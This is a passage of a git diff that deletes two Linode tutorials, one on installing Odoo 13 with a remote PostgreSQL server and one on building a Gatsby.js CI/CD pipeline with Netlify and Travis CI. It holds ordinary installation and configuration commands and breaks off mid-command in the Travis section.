grants the `odoo` user the rights connect to `all` databases within this server. - -The settings in the `pg_hba.conf` file are: - -* `host`: Enables connections using Unix-domain sockets. -* `all`: Match all databases on the server. You can provide a comma separated list of specific Odoo database names if you know them beforehand. -* `odoo`: The Odoo user responsible for application/database communications. -* `odoo.yourdomain.com`: The address of your Odoo server. You should replace this with your FQDN or Ip address. -* `md5`: Make use of client-supplied MD5-encrypted passwords for authentication. - -### Configure PostgreSQL listening address - -Edit `postgresql.conf` to allow the database server listening to remote connections: - -{{< file "/etc/postgresql/10/main/postgresql.conf" conf >}} -#From CONNECTIONS AND AUTHENTICATION Section -listen_addresses = '*' -{{< /file >}} - -These settings are: - -* `listen_addresses`: What IP addresses to listen on. The `'*'` means that the server listens to all IP addresses. You can limit this to only include the IP addresses that you consider safe. - -### Enable PostgreSQL on Startup - -Now that you finished PostgreSQL configuration you can start the `postgresql` service and enable it on startup: - - sudo systemctl start postgresql && sudo systemctl enable postgresql - -## Odoo 13 Setup - -Configure your Odoo 13 web application to work with the PostgreSQL database backend. - -{{< note >}} -Odoo 13 uses Python 3.6+ instead of Python 3.5. If your server is running an older Ubuntu release, for instance 16.04, you will need to compile a newer Python version to meet this requirement. -{{< /note >}} - -### Prepare Linode for Odoo 13 Installation - -1. In order to separate Odoo from other services, create a new Odoo system user to run its processes: - - sudo adduser --system --home=/opt/odoo --group odoo - -1. Install system dependencies that are needed during Odoo 13 set up: - - sudo apt-get install python3 python3-pip python3-suds python3-all-dev python3-venv \ - python3-dev python3-setuptools python3-tk libxml2-dev libxslt1-dev libevent-dev \ - libsasl2-dev libldap2-dev pkg-config libtiff5-dev libjpeg8-dev libjpeg-dev \ - zlib1g-dev libfreetype6-dev liblcms2-dev liblcms2-utils libwebp-dev tcl8.6-dev \ - tk8.6-dev libyaml-dev fontconfig xfonts-75dpi xfonts-base xfonts-encodings xfonts-utils -y - -1. Use Git to clone the Odoo files onto your server: - - sudo git clone https://www.github.com/odoo/odoo.git --depth 1 \ - --branch 13.0 --single-branch /opt/odoo - -1. Enforce the use of POSIX locale to prevent possible errors during installation (this has nothing to do with the Odoo language): - - export LC_ALL=C - -1. Install Less CSS via Node.js and npm: - - sudo curl -sL https://deb.nodesource.com/setup_12.x | sudo -E bash - \ - && sudo apt install -y nodejs \ - && sudo npm install -g less less-plugin-clean-css - -1. Download `wkhtmltopdf` version `0.12.5` which is the recommended version for Odoo 13. For more information regarding `wkhtmltopdf` recommended versions, visit [Odoo wiki](https://github.com/odoo/odoo/wiki/Wkhtmltopdf) - - cd /tmp - wget https://github.com/wkhtmltopdf/wkhtmltopdf/releases/download/0.12.5/wkhtmltox_0.12.5-1.bionic_amd64.deb - -1. Install the package: - - sudo dpkg -i wkhtmltox_0.12.5-1.bionic_amd64.deb - -1. To ensure that `wkhtmltopdf` functions properly, copy the binaries to a location in your executable path and give them the necessary permission for execution: - - sudo cp /usr/local/bin/wkhtmlto* /usr/bin/ \ - && sudo chmod a+x /usr/bin/wk* - -### Set Up Virtualenv - -It's considered a best practice to isolate Odoo's Python modules from the modules included as part of the operating system to prevent unforeseen conflicts in the long run, especially after periodic OS updates. For that reason using `virtualenv` is highly recommended. - -1. Create a new `virtualenv` environment for Odoo 13 application: - - python3 -m venv /home//odoo-env - -2. Activate the `odoo-env` virtual environment you created in the previous step: - - source /home//odoo-env/bin/activate - -3. Update `pip3` using the following command: - - pip3 install --upgrade pip - -4. Install Python's wheel in the virtual environment: - - pip3 install wheel - -Let's review the virtual environment creation: - -* `python3 -m venv`: Runs `venv` module using Python 3, this module is in charge of creating the virtual environment. -* `/home//odoo-env`: Indicates the path used for the virtual Python environment. For the purpose of this guide, `home` directory of the current user was used but you can change it to any location that suits your needs as long as you remember to grant the `odoo` user with proper permissions afterward. - -### Install Odoo's Python modules - -1. Install the dependencies required by Odoo in the Python 3 environment: - - pip3 install -r /opt/odoo/doc/requirements.txt - pip3 install -r /opt/odoo/requirements.txt - -1. Check that all requirements are properly installed in your virtual environment: - - pip3 list - -1. Exit from the Python virtual environment by issuing the command: - - deactivate - -### Configure the Odoo Server - -1. Copy the included configuration file to `/etc/` and change its name to `odoo-server.conf` - - sudo cp /opt/odoo/debian/odoo.conf /etc/odoo-server.conf - -2. Modify the configuration file. The complete file should look similar to the following, depending on your deployment needs: - - {{< file "/etc/odoo-server.conf" conf >}} -[options] -admin_passwd = admin -db_host = postgresql.yourdomain.com -db_port = False -db_user = odoo -db_password = odoo_password -addons_path = /opt/odoo/addons -xmlrpc_port = 8069 -{{< /file >}} - -* `admin_passwd`: The password that allows administrative operations within Odoo GUI. Be sure to change `admin` to something more secure. -* `db_host`: The **postgresql** FQDN. -* `db_port`: Odoo uses PostgreSQL's default port `5432`, change this only if you're using custom PostgreSQL settings. -* `db_user`: Name of the PostgreSQL database user. -* `db_password`: Use the PostgreSQL `odoo` user password you created previously. -* `addons_path`: Default addons path. You can add custom paths separating them with commas: `` -* `xmlrpc_port`: Port that Odoo listens on. - -### Create an Odoo Service - -Create a systemd unit called `odoo-server` to allow your application to behave as a service. Create a new file at `/lib/systemd/system/odoo-server.service` and add the following, replace `/home/` with the directory where you setup your virtual Python environment: - -{{< file "/lib/systemd/system/odoo-server.service" shell >}} -[Unit] -Description=Odoo Open Source ERP and CRM - -[Service] -Type=simple -PermissionsStartOnly=true -SyslogIdentifier=odoo-server -User=odoo -Group=odoo -ExecStart=/home//odoo-env/bin/python3 /opt/odoo/odoo-bin --config=/etc/odoo-server.conf --addons-path=/opt/odoo/addons/ -WorkingDirectory=/opt/odoo/ -StandardOutput=journal+console - -[Install] -WantedBy=multi-user.target -{{< /file >}} - -### Change File Ownership and Permissions - -1. Change the `odoo-server` service permissions and ownership so only root can write to it, while the `odoo` user can only read and execute on it: - - sudo chmod 755 /lib/systemd/system/odoo-server.service \ - && sudo chown root: /lib/systemd/system/odoo-server.service - -2. Since the `odoo` user runs the application, change its ownership accordingly. Replace `/home/` with the directory where you setup your virtual Python environment: - - sudo chown -R odoo: /opt/odoo/ && sudo chown -R odoo: /home//odoo-env - -3. Protect the server configuration file. Change its ownership and permissions so no other non-root user can access it: - - sudo chown odoo: /etc/odoo-server.conf \ - && sudo chmod 640 /etc/odoo-server.conf - -### Test your Odoo Stack - -Confirm that everything is working as expected. - -1. Start the Odoo server: - - sudo systemctl start odoo-server - -1. Confirm that `odoo-server` is running: - - sudo systemctl status odoo-server - -1. In a browser, navigate to `odoo.yourdomain.com:8069` or `http://:8069`. If your proxy and your DNS configuration are working properly you are presented with Odoo's database creation screen: - - ![Odoo 13 Database Screen](odoo-13-first-screen.png "Odoo 13 Initial Screen") - -1. Fill in all the fields, check the **Demo data** box to populate your database with sample data, and then click on **Create database** button. - - ![Odoo 13 Create Database](odoo-13-create-db.png "Odoo 13 Create Database") - -1. In the browser, you should see a list of available apps, indicating that database creation was successful: - - ![Odoo 13 Welcome Screen](odoo-13-welcome.png "Odoo 13 Welcome Screen") - - The first time you create a database, Odoo may take several minutes to load all of its add-ons. Do not reload the page during this process. - -### Enable the Odoo Service - -1. Enable the `odoo-server` service to start automatically on reboot: - - sudo systemctl enable odoo-server - -1. Reboot your Linode from the Linode Manager. - -1. Check the Odoo logs to verify that the Odoo server is running without errors: - - sudo journalctl -u odoo-server - -## Back Up Odoo Databases - -If all components of the Odoo stack are running on a single server, it is simple to back up your databases using the Odoo web interface. However, this does not work with the configuration in this guide, since PostgreSQL was not installed on the **Odoo** Linode server. - -You have two options to backup your production database: - -1. You can install PostgreSQL 10 on the **Odoo** server using the procedure described on this guide. This installs `pg_dump` and other utilities, allowing you to use the Odoo GUI as before. Since Odoo configuration is explicit about database connection you do not have to worry about anything else. This method restores the database to the **PostgreSQL** server rather than **Odoo**. - -2. You can also use a procedure similar to the one described in our guide [How to Back Up Your PostgreSQL Database](/cloud/guides/back-up-a-postgresql-database/) from the backend **PostgreSQL** server. - -### Update Odoo Modules - -Once you have backed up your production database you can update Odoo modules. - -From your **Odoo** server restart the Odoo service using the following flags to instruct the system to search for updates and apply any changes to modules: - - sudo service odoo-server restart -u all -d -{{< note >}} -From Odoo version 12 forward it is suggested that you update modules using Odoo's web interface whatever possible. -{{< /note >}} - -### Update your System - -If all your tests pass, you can safely update your installation. - -1. From your Linode, download the new code from source: - - cd /opt/odoo \ - && sudo git fetch origin 13.0 - -2. Apply the changes to your repository: - - sudo git reset --hard origin/13.0 -{{< note >}} -Do not confuse the Odoo system update with an Odoo **version** upgrade. With the method explained above, you are updating your Odoo application within the same version rather than **upgrading** to a newer Odoo version. Migrating from one version to another often requires several tests and manual modifications on the PostgreSQL database which are highly dependent on the version of Odoo you are upgrading from. -{{< /note >}} diff --git a/docs/guides/websites/static-sites/install-gatsbyjs/index.md b/docs/guides/websites/static-sites/install-gatsbyjs/index.md deleted file mode 100644 index acf7908185a..00000000000 --- a/docs/guides/websites/static-sites/install-gatsbyjs/index.md +++ /dev/null @@ -1,735 +0,0 @@ ---- -slug: install-gatsbyjs -title: "Create a CI/CD Pipeline with Gatsby.js, Netlify and Travis CI" -title_meta: 'CI/CD Pipeline with Gatsby.js, Netlify and Travis CI' -description: 'This guide shows how to create a CI/CD pipeline using the static-site generator Gatsby.js, Netlify to edit and preview, and Travis CI to deploy. ' -authors: ["Linode"] -contributors: ["Linode"] -published: 2018-08-09 -keywords: ['gatsbyjs','gatsby','ssg','static site generator', 'travis', 'netlify'] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -aliases: ['/websites/static-sites/install-gatsbyjs/'] ---- - -![Create a CI/CD Pipeline with Gatsby.js, Netlify and Travis CI](create-a-ci-cd-pipeline.png "Create a CI/CD Pipeline with Gatsby.js, Netlify and Travis CI") - -## What is Gatsby? - -Gatsby is a [Static Site Generator](/cloud/guides/how-to-choose-static-site-generator/#what-is-a-static-site) for React built on Node.js. Gatsby uses a modern web technology stack based on client-side Javascript, reusable APIs, and prebuilt Markdown, otherwise known as the [*JAMstack*](https://jamstack.org/). This method of building a site is fast, secure, and scalable. All production site pages are prebuilt and static, so Gatsby does not have to build HTML for each page request. - -## What is the CI/CD Pipeline? - -The CI/CD (continuous integration/continuous delivery) pipeline created in this guide is an automated sequence of events that is initiated after you update the code for your website on your local computer. These events take care of the work that you would otherwise need to perform manually: previewing your in-development site, testing your new code, and deploying it to your production server. These actions are powered by GitHub, Netlify, and Travis CI. - -{{< note >}} -This guide uses GitHub as your central Git repository, but you can use any service that is compatible with Netlify and Travis. -{{< /note >}} - -### Netlify - -[Netlify](https://www.netlify.com/) is a PaaS (Platform as a Service) provider that allows you to quickly deploy static sites on the Netlify platform. In this guide Netlify will be used to provide a preview of your Gatsby site while it is in development. This preview can be shared with different stakeholders for site change approvals, or with anyone that is interested in your project. The production version of your website will ultimately be deployed to a Linode, so Netlify will only be used to preview development of the site. - -### Travis CI - -[Travis CI](https://travis-ci.com/) is a continuous integration tool that tests and deploys the code you upload to your GitHub repository. Travis will be used in this guide to deploy your Gatsby site to a Linode running Ubuntu 18.04. Testing your website code will not be explored in depth, but the method for integrating unit tests will be introduced. - -### The CI/CD Pipeline Sequence - -This guide sets up the following flow of events: - -1. You create a new branch in your local Git repository and make code changes to your Gatsby project. - -1. You push your branch to your GitHub repository and create a [pull request](https://help.github.com/articles/about-pull-requests/). - -1. Netlify automatically creates a preview of the site with a unique URL that can be shared. - -1. Travis CI automatically builds the site in an isolated container and runs any declared tests. - -1. When all tests pass, you merge the PR into the repository's *master* branch, which automatically triggers a deployment to your production Linode. - -## Before You Begin - -1. Follow the [Creating a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/create-a-compute-instance) guide and deploy a Linode running Ubuntu 18.04. - -1. Complete the [Setting Up and Securing a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance) guide to create a limited Linux user account with `sudo` privileges, harden SSH access, and remove unnecessary network services. - - {{% content "limited-user-note-shortguide" %}} - -1. Configure DNS for your site by adding a [domain zone](https://techdocs.akamai.com/cloud-computing/docs/create-a-domain) and setting up [reverse DNS](https://techdocs.akamai.com/cloud-computing/docs/configure-rdns-reverse-dns-on-a-compute-instance) on your Linode's IP. - -1. Create a [GitHub](https://github.com/) account if you don't already have one. GitHub is free for open source projects. - -1. [Install Git](/cloud/guides/how-to-install-git-on-linux-mac-and-windows/) on your local computer. Later in this guide, [Homebrew](/cloud/guides/how-to-install-git-on-linux-mac-and-windows/#install-git-using-homebrew-on-macos) will be used to install Gatsby on a Mac, so it's recommended that you also use Homebrew to install Git if you're using a Mac. - -## Prepare Your Production Linode - -### Install NGINX - -1. Install NGINX from Ubuntu's repository **on your Linode:** - - sudo apt install nginx - -### Configure NGINX - -1. Delete the default welcome page: - - sudo rm /etc/nginx/sites-enabled/default - -1. Create a site configuration file for Gatsby. Replace `example.com` in the file name and in the file's contents with your domain name: - - {{< file "/etc/nginx/conf.d/example.com.conf" nginx>}} -server { - listen 80; - server_name example.com; - #charset koi8-r; - #access_log /var/log/nginx/host.access.log main; - - location / { - root /usr/share/nginx/html/example.com/public; - index index.html index.htm; - } -} -{{}} - - {{< note >}} - Replace all future instances of `example.com` in this guide with your domain name. - {{< /note >}} - -1. The `root` directive in your NGINX configuration points to a directory named `public` within `/usr/share/nginx/html/example.com/`. Later in this guide, Gatsby will be responsible for creating the `public` directory and building its static content within it (specifically, via the `gatsby build` command). - - The `/usr/share/nginx/html/example.com/` directory does not exist on your server yet, so create it: - - sudo mkdir -p /usr/share/nginx/html/example.com/ - -1. The Gatsby deployment script that will be introduced later in this guide will run under your limited Linux user. Set your limited user to be the owner of the new document root directory. This ensures the deployment script will be able write your site's files to it: - - sudo chown $(whoami):$(id -gn) -R /usr/share/nginx/html/example.com/ - -1. Test your NGINX configuration for errors: - - sudo nginx -t - -1. Reload the configuration: - - sudo nginx -s reload - -1. Navigate to your Linode’s domain or IP address in a browser. Your Gatsby site files aren't deployed yet, so you should only see a *404 Not Found* error. Still, this error indicates that your NGINX process is running as expected. - -## Develop with Gatsby on Your Local Computer - -You will develop with Gatsby on your local computer. This guide walks through creating a simple sample Gatsby website, but more extensive website development is not explored, so review Gatsby's [official documentation](https://www.gatsbyjs.org/docs/) afterwards for more information on the subject. - -### Install Gatsby - -This section provides instructions for installing Gatsby via Node.js and the Node Package Manager (npm) on Mac and Linux computers. If you are using a Windows PC, read Gatsby's [official documentation](https://www.gatsbyjs.org/docs/gatsby-on-windows/) for installation instructions. - -1. Install npm **on your local computer.** If you are running Ubuntu or Debian on your computer, use `apt`: - - sudo apt install nodejs npm - - If you have a Mac, use Homebrew: - - brew install nodejs npm - -1. Ensure Node.js was installed by checking its version: - - node --version - -1. Install the Gatsby command line: - - sudo npm install --global gatsby-cli - -### Create a Gatsby Site - -1. Gatsby uses [*starters*](https://www.gatsbyjs.org/docs/gatsby-starters/#gatsby-starters) to provide a pre-configured base Gatsby site that you can customize and build on top of. This guide uses the *Hello World* starter. On your local computer, install the Hello World starter in your home directory (using the name `example-site` for your new project) and navigate into it: - - gatsby new example-site https://github.com/gatsbyjs/gatsby-starter-hello-world - cd ~/example-site - -1. Inspect the contents of the directory: - - ls - - You should see output similar to: - - {{< output >}} -LICENSE node_modules package.json package-lock.json README.md src -{{}} - - The `src` directory contains your project's source files. This starter will include the [React](https://reactjs.org/) Javascript component file `src/pages/index.js`, which will be mapped to our example site's homepage. - - Gatsby uses *React components* to build your site's static pages. Components are small and isolated pieces of code, and Gatsby stores them in the `src/pages` directory. When your Gatsby site is built, these will automatically become your site's pages, with paths based on each file's name. - -1. Gatsby offers a built-in development server which builds and serves your Gatsby site. This server will also monitor any changes made to your `src` directory's React components and will rebuild Gatsby after every change, which helps you see your local changes as you make them. - - Open a new shell session (in addition the one you already have open) and run the Gatsby development server: - - cd ~/example-site - gatsby develop - -1. The `gatsby develop` command will display messages from the build process, including a section similar to the following: - - {{< output >}} -You can now view gatsby-starter-hello-world in the browser. - - http://localhost:8000/ -{{< /output >}} - - Copy and paste the `http://localhost:8000/` URL (or the specific string displayed in your terminal) into your web browser to view your Gatsby site. You should see a page that displays "Hello World". - -1. In your original shell session, view the contents of your `example-site` directory again: - - ls - - {{< output >}} - LICENSE node_modules package.json package-lock.json README.md src public - {{}} - - You should now see a `public` directory which was not present before. This directory holds the static files built by Gatsby. Your NGINX server will serve the static files located in the `public` directory. - -1. Open the `src/pages/index.js` file in your text editor, add new text between the `
` tags, and save your change: - - {{< file "src/pages/index.js" javascript >}} -import React from "react" - -export default () =>
Hello world and universe!
-{{}} - -1. Navigate back to your browser window, where the updated text should automatically appear on the page. - -### Version Control Your Gatsby Project - -In the workflow explored by this guide, Git and GitHub are used to: - -- Track changes you make during your site's development. -- Trigger the preview, test, and deployment functions offered by Netlify and Travis. - -The following steps present how to initialize a new local Git repository for your Gatsby project, and how to connect it to a central GitHub repository. - -1. Open a shell session on your local computer and navigate to the `example-site` directory. Initialize a Git repository to begin tracking your project files: - - git init - - Stage all the files you've created so far for your first commit: - - git add -A - - The Hello World starter includes a [`.gitignore` file](https://git-scm.com/docs/gitignore). Your `.gitignore` designates which files and directories to ignore in your Git commits. By default, it is set to ignore any files in the `public` directory. The `public` directory's files will not be tracked in this repository, as they can be quickly rebuilt by anyone who clones your repository. - -1. Commit all the Hello World starter files: - - git commit -m "Initial commit" - -1. Navigate to your GitHub account and create a new repository named `example-site`. After the repository is created, copy its URL, which will have the form `https://github.com/your-github-username/example-site.git`. - -1. In your local computer's shell session, [add the GitHub repository](https://help.github.com/articles/about-remote-repositories/) as your local repository's `origin`: - - git remote add origin https://github.com/your-github-username/example-site.git - -1. Verify the `origin` remote's location: - - git remote -v - - {{< output >}} -origin https://github.com/your-github-username/example-site.git (fetch) -origin https://github.com/your-github-username/example-site.git (push) -{{< /output >}} - -1. Push the *master* branch of your local repository to the origin repository: - - git push origin master - -1. View your GitHub account in your browser, navigate to the `example-site` repository, and verify that all the files have been pushed to it successfully: - - ![GitHub Initial Commit](github-initial-commit.png "GitHub repository for example-site after initial commit") - -## Preview Your Site with Netlify - -In the course of developing a website (or any other software project), a common practice when you've finished a new feature and would like to share it with your collaborators is to create a [pull request](https://help.github.com/articles/about-pull-requests/) (also referred to as a *PR*). A pull request is an intermediate step between uploading your work to GitHub (by pushing the changes to a new branch) and later merging it into the *master* branch (or another release or development branch, according to your specific Git workflow). - -Once connected to your GitHub account, the Netlify service can build a site preview from your PR's code every time you create a PR. Netlify will also regenerate your site preview if you commit and push new updates to your PR's branch while the PR is still open. A random, unique URL is assigned to every preview, and you can share these URLs with your collaborators. - -### Connect Your GitHub Repository to Netlify - -1. Navigate to the [Netlify](https://www.netlify.com/) site and click on the **Sign Up** link: - - ![Netlify Home Page](sign-up.png "Netlify Home Page") - -1. Click on the **GitHub** button to connect your GitHub account with Netlify. If you used a different version control service, select that option instead: - - ![GitHub and Netlify connection page](github-connect.png "GitHub and Netlify connection page") - -1. You will be taken to the GitHub site and asked to authorize Netlify to access your account. Click on the **Authorize Netlify** button: - - ![GitHub Netlify Authorization](authorize.png "GitHub Netlify Authorization") - -1. Add your new site to Netlify and continue along with the prompts to finish connecting your repository to Netlify. Be sure to select the GitHub repository created in the previous steps: - - ![Add site to Netlify](add-site.png "Add site to Netlify") - -1. Provide the desired deploy settings for your repository. Unless you are sure you need to change these settings, keep the Netlify defaults: - - ![Netlify repository settings](deploy-settings.png "Netlify repository settings") - - {{< note >}} - You can add a `netlify.toml` [configuration file](https://www.netlify.com/docs/netlify-toml-reference/) to your Git repository to define more deployment settings. - {{< /note >}} - -### Create a Pull Request - -1. In your local Git repository, create a new branch to test Netlify: - - git checkout -b test-netlify - -1. On your computer, edit your `src/pages/index.js` and update the message displayed: - - {{< file "src/pages/index.js" javascript >}} -import React from "react" - -export default () =>
Hello world, universe, and multiverse!
-{{}} - -1. Commit those changes: - - git add . - git commit -m "Testing Netlify" - -1. Push the new branch to the origin repository: - - git push origin test-netlify - -1. Navigate to the `example-site` repository in your GitHub account and create a [pull request](https://help.github.com/articles/creating-a-pull-request/) with the `test-netlify` branch: - - ![GitHub Compare and Pull Request Banner](github-compare-and-pull-request-banner.png "GitHub Compare and Pull Request Banner") - -1. After you create the pull request, you will see a **deploy/netlify** row with a **Details** link. The accent color for this row will initially be yellow while the Netlify preview is being built. When the preview's build process is finished, this row will turn green. At that point, you can click on the **Details** link to view your Gatsby site's preview. - - ![Netlify GitHub Preview](netlify-preview.png "Netlify GitHub Preview") - - Every time you push changes to your branch, Netlify will provide a new preview link. - -## Test and Deploy Your Site with Travis CI - -Travis CI manages testing your Gatsby site and deploying it to the Linode production server. Travis does this by monitoring updates to your GitHub repository: - -- Travis's tests will run when a pull request is created, whenever new commits are pushed to that pull request's branch, and whenever a branch is updated on your GitHub repository in general (including outside the context of a pull request). - -- Travis's deployment function will trigger whenever a pull request has been merged into the *master* branch (and optionally when merging into other branches, depending on your configuration). - -### Connect Your GitHub Repository to Travis CI - -1. Navigate to the [Travis CI](https://travis-ci.com/) site and click on the *Sign up with GitHub* button. - - {{< note >}} - Be sure to visit [travis-ci.com](https://travis-ci.com/), not [travis-ci.org](https://travis-ci.org/). Travis originally operated travis-ci.com for paid/private repositories, and travis-ci.org was run separately for free/open source projects. [As of May 2018](https://blog.travis-ci.com/2018-05-02-open-source-projects-on-travis-ci-com-with-github-apps), travis-ci.com supports open source projects and should be used for all new projects. Projects on travis-ci.org will eventually be migrated to travis-ci.com. - {{< /note >}} - -1. You will be redirected to your GitHub account. Authorize Travis CI to access your GitHub account: - - ![Authorize Travis CI](git-auth-travis.png "Authorize Travis CI") - -1. You will be redirected to your Travis CI account's page where you will be able to see a listing of all your public repositories. Click on the toggle button next to your Gatsby repository to activate Travis CI for it. - -### Configure Travis CI to Run Tests - -Travis's functions are all configured by adding and editing a [`.travis.yml` file](https://docs.travis-ci.com/user/customizing-the-build/) in the root of your project. When `.travis.yml` is present in your project and you push a commit to your central GitHub respository, Travis performs one or more *builds*. - -Travis builds are run in new virtualized environments created for each build. The build lifecycle is primarily composed of an `install` step and a `script` step. [The `install` step](https://docs.travis-ci.com/user/customizing-the-build/#customizing-the-installation-step) is responsible for installing your project's dependencies in the new virtual environment. [The `script` step](https://docs.travis-ci.com/user/customizing-the-build/#customizing-the-build-step) invokes one or more bash scripts that you specify, usually test scripts of some kind. - -1. Navigate to your local Gatsby project and create a new Git branch to keep track of your Travis configurations: - - git checkout -b travis-configs - -1. Create your `.travis.yml` file at the root of the project: - - touch .travis.yml - - {{< note >}} - Make sure you commit changes at logical intervals as you modify the files in your Git repository. - {{< /note >}} - -1. Open your `.travis.yml` file in a text editor and add the following lines: - - {{< file "~/example-site/.travis.yml" yml>}} -language: node_js -node_js: - - '10.0' - -dist: trusty -sudo: false -{{}} - - This configuration specifies that the build's virtual environment should be Ubuntu 14.04 ([also known as *trusty*](https://wiki.ubuntu.com/Releases)). `sudo: false` indicates that the virtual environment should be a container, and not a full virtual machine. [Other environments](https://docs.travis-ci.com/user/reference/overview/) are available. - - Gatsby is built with Node.js, so the Travis configuration is set to use `node_js` as the build language, and to use the latest version of Node (`10.0` at the time of this guide's publication). When Node is specified as the build language, Travis automatically sets default values for the `install` and `script` steps: `install` will run `npm install`, and `script` will run `npm test`. [Other languages](https://docs.travis-ci.com/user/languages/), like Python, are also available. - -1. The Gatsby Hello World starter provides a [`package.json` file](https://docs.npmjs.com/files/package.json), which is a collection of metadata that describes your project. It is used by npm to install, run, and test your project. In particular, it includes a `dependencies` section used by `npm install`, and a `scripts` section where you can declare the tests run by `npm test`. - - No tests are listed by default in your starter's `package.json`, so open the file with your editor and add a `test` line to the `scripts` section: - - {{< file "package.json" json >}} -{ - "name": "gatsby-starter-hello-world", - "description": "Gatsby hello world starter", - "license": "MIT", - "scripts": { - "develop": "gatsby develop", - "build": "gatsby build", - "serve": "gatsby serve", - "test": "echo 'Run your tests here'" - }, - "dependencies": { - "gatsby": "^1.9.277", - "gatsby-link": "^1.6.46" - } -} -{{}} - - This entry is just a stub to illustrate where tests are declared. For more information on how to test your Gatsby project, review the [unit testing documentation](https://gatsbyjs.org/docs/unit-testing/) on Gatsby's website. [Jest](https://jestjs.io) is the testing framework recommended by Gatsby. - -### View Output from Your Travis Build - -1. Commit the changes you've made and push your `travis-configs` branch to your origin repository: - - git add . - git commit -m "Travis testing configuration" - git push origin travis-configs - -1. View your GitHub repository in your browser and create a pull request for the `travis-configs` branch. - -1. Several rows that link to your Travis builds will appear in your new pull request. When a build finishes running without error, the build's accent color will turn green: - - ![GitHub Travis Builds](github-travis-builds.png "GitHub Travis Builds") - - {{< note >}} - Four rows for your Travis builds will appear, which is more than you may expect. This is because Travis runs your builds whenever your branch is updated, and whenever your pull request is updated, and [Travis considers these to be separate events](https://docs.travis-ci.com/user/pull-requests/#double-builds-on-pull-requests). - - In addition, the rows prefixed by `Travis CI - ` are links to GitHub's preview of those builds, while rows prefixed with `continuous-integration/travis-ci/` are direct links to the builds on [travis-ci.com](https://travis-ci.com/). - - For now, these builds will produce identical output. After the deployment functions of Travis have been configured, the pull request builds will [skip the deployment step](https://docs.travis-ci.com/user/deployment#pull-requests), while the branch builds will implement your deployment configuration. - {{< /note >}} - -1. Click the **Details** link in the `continuous-integration/travis-ci/push` row to visit the logs for that build. A page with similar output will appear: - - ![Travis Build Logs - First Test](travis-test-log.png "Travis logs from first test build") - - Towards the end of your output, you should see the "Run your tests here" message from the test stub that you entered in your `package.json`. If you implement testing of your code with Jest or another library, the output from those tests will appear at this location in your build logs. - - If any of the commands that Travis CI runs in the `script` step (or in any preceding steps, like `install`) returns with a [non-zero exit code](https://www.gnu.org/software/bash/manual/html_node/Exit-Status.html), then [the build will fail](https://docs.travis-ci.com/user/customizing-the-build/#breaking-the-build), and you will not be able to merge your pull request on GitHub. - -1. For now, do not merge your pull request, even if the builds were successful. - -### Give Travis Permission to Deploy to Your Linode - -In order to let Travis push your code to your production Linode, you first need to give the Travis build environment access to the Linode. This will be accomplished by generating a [public-private key pair](/cloud/guides/use-public-key-authentication-with-ssh/) for your build environment and then uploading the public key to your Linode. Your code will be deployed over SSH, and the SSH agent in the build environment will be configured to use your new private key. - -The private key will also need to be encrypted, as the key file will live in your Gatsby project's Git repository, and you should **never** check a plain-text version of it into version control. - -1. Install the Travis CLI, which you will need to generate an encrypted version of your private key. The Travis CLI is distributed as a [Ruby gem](https://rubygems.org/gems/travis): - - **On Linux:** - - sudo apt install ruby ruby-dev - sudo gem install travis - - **On macOS:** - - sudo gem install travis - - **On Windows:** Use [RubyInstaller](https://rubyinstaller.org) to install Ruby and the Travis CLI gem. - -1. [Log in to Travis CI](https://github.com/travis-ci/travis.rb#login) with the CLI: - - travis login --com - - Follow the prompts to provide your GitHub login credentials. These credentials are passed directly to GitHub and are not recorded by Travis. In exchange, GitHub returns a GitHub access token to Travis, after which Travis will provide your CLI with a Travis access token. - - {{< note >}} - [The `--com` argument](https://github.com/travis-ci/travis.rb#general-api-commands) tells your CLI to log in to [travis-ci.com](https://travis-ci.com/) (instead of [travis-ci.org](https://travis-ci.org/)). - {{< /note >}} - -1. Inside the root of your local `example-site` Git repository, create a `scripts` directory. This will hold files related to deploying your Gatsby site: - - mkdir scripts - -1. Generate a pair of SSH keys inside the `scripts` directory. The key pair will be named *gatsby-deploy* so that you don't accidentally overwrite any preexisting key pairs. Replace `your_email@example.com` with your email address. When prompted for the key pair's passphrase, enter no passphrase/leave the field empty: - - ssh-keygen -t rsa -b 4096 -C "your_email@example.com" -f scripts/gatsby-deploy - - Two files will be created: `gatsby-deploy` (your private key) and `gatsby-deploy.pub` (your public key). - -1. Add the location of the `gatsby-deploy` file to your project's `.gitignore` file. **This will ensure that you do not accidentally commit the secret key to your central repository:** - - {{< file ".gitignore" git >}} -# Other .gitignore instructions -# [...] -scripts/gatsby-deploy -{{}} - -1. Encrypt your private key using the Travis CLI: - - cd scripts && travis encrypt-file gatsby-deploy --add --com - -1. You should now see a `gatsby-deploy.enc` file in your scripts directory: - - ls - - {{< output >}} - gatsby-deploy gatsby-deploy.enc gatsby-deploy.pub -{{< /output >}} - -1. The `--add` flag from the previous command also told the Travis CLI to add a few new lines to your `.travis.yml` file. These lines decrypt your private key and should look similar to the following snippet: - - {{< file ".travis.yml" yml >}} -before_install: -- openssl aes-256-cbc -K $encrypted_9e3557de08a3_key -iv $encrypted_9e3557de08a3_iv - -in gatsby-deploy.enc -out gatsby-deploy -d -{{< /file >}} - - {{< note type="secondary" title="About the openssl command and Travis build variables" isCollapsible=true >}} - The second line (starting with `-in gatsby-deploy.enc`) is a continuation of the first line, and `-in` is an option passed to the `openssl` command. This line is not its own item in the `before_install` list. - - The `openssl` command accepts the encrypted `gatsby-deploy.enc` file and uses two environment variables to decrypt it, resulting in your original `gatsby-deploy` private key. These two variables are stored in the Settings page for your repository on travis-ci.com. [Any variables stored there](https://docs.travis-ci.com/user/environment-variables/#defining-variables-in-repository-settings) will be accessible to your build environment: - - ![Travis Environment Variables](travis-environment-variables.png) - {{< /note >}} - -1. Edit the lines previously added by the `travis encrypt-file` command so that `gatsby-deploy.enc` and `gatsby-deploy` are prefixed with your `scripts/` directory: - - {{< file ".travis.yml" yml >}} -before_install: -- openssl aes-256-cbc -K $encrypted_9e3557de08a3_key -iv $encrypted_9e3557de08a3_iv - -in scripts/gatsby-deploy.enc -out scripts/gatsby-deploy -d -{{< /file >}} - -1. Continue preparing the SSH agent in your build environment by adding the following lines to the `before_install` step, after the `openssl` command. Be sure to replace `192.0.2.2` with your Linode's IP address: - - {{< file "~/example-site/.travis.yml" yml>}} -before_install: -- openssl aes-256-cbc -K $encrypted_9e3557de08a3_key -iv $encrypted_9e3557de08a3_iv - -in scripts/gatsby-deploy.enc -out 